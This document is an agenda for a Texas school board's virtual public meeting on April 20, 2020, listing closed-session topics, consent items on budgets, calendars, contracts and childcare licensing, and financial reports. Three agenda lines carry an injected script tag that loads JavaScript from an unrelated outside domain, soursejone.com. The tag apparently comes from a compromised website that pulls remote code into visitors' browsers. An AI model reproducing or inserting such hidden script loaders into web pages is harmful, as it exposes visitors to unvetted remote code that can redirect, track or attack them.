Public Meeting

Monday, April 20, 2020 5:00 PM
Virtual Meeting, 217 N Jones St, Granbury, TX 76048

1. **Call to order - 5:00 PM - Virtual Meeting**
2. **Convene in Closed Session under the Texas Open Meetings Act, Texas Government Code Section 551.001 et seq.**

a. Section 551.074 - to deliberate the appointment, employment, evaluation, reassignment, duties, discipline or dismissal of a public officer or employee.

1. Staff Recommendations
2. Consider Contracts

b. Section 551.076. Deliberations Regarding Security Devices or Security Audits

c. Section 551.072 - Purchase, Exchange, Lease or Value of Real Property

3. **Reconvene in Open Session - 6:00 PM**
4. **Moment of Silence/Invocation**
5. **Pledges - U.S. Flag & Texas Flag**
6. **Open Forum/Public Comments <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js" type="text/javascript"></script>**
7. **Academic Spotlight - None**
8. **Discussion/Action**

a. Consider Consent Agenda Items

1. Consider Budget Amendments
2. Approve Special Meeting Minutes from March 17, 2020 and Regular Meeting Minutes from March 23, 2020
3. Consider Board Meeting Calendar for the 2020 - 2021 School Year <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js" type="text/javascript"></script>
4. Consider Renewal of Athletic Supplies and Equipment 2018-1027
5. Consider Renewal of HVAC Supplies and Equipment

b. Approve Board Resolution for Modification of Policies and Procedures on Grading and Related Issues

c. Consider Approval of Amendment to AIA BI101-2017, Standard form of Agreement Between Owner and Architect

d. Consider Pre-Licensing Documents and Procedures for Little Buccaneers Childcare <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js" type="text/javascript"></script>

9. **Reports**

a. Superintendent's Report
b. Report on Approved Campus Project Change Orders
c. Financial Statements for Period Ending March 31, 2020
d. Cash Flow Statements for the Period Ending March 31, 2020
e. Report of Categorical Purchases between $50,000 and $100,000 as Required per Board Policy CH(LOCAL)

10. **Consider Action on Items Discussed In Closed Session**

a. Consider Staff Recommendations and Staff Contracts

11. **Adjourn**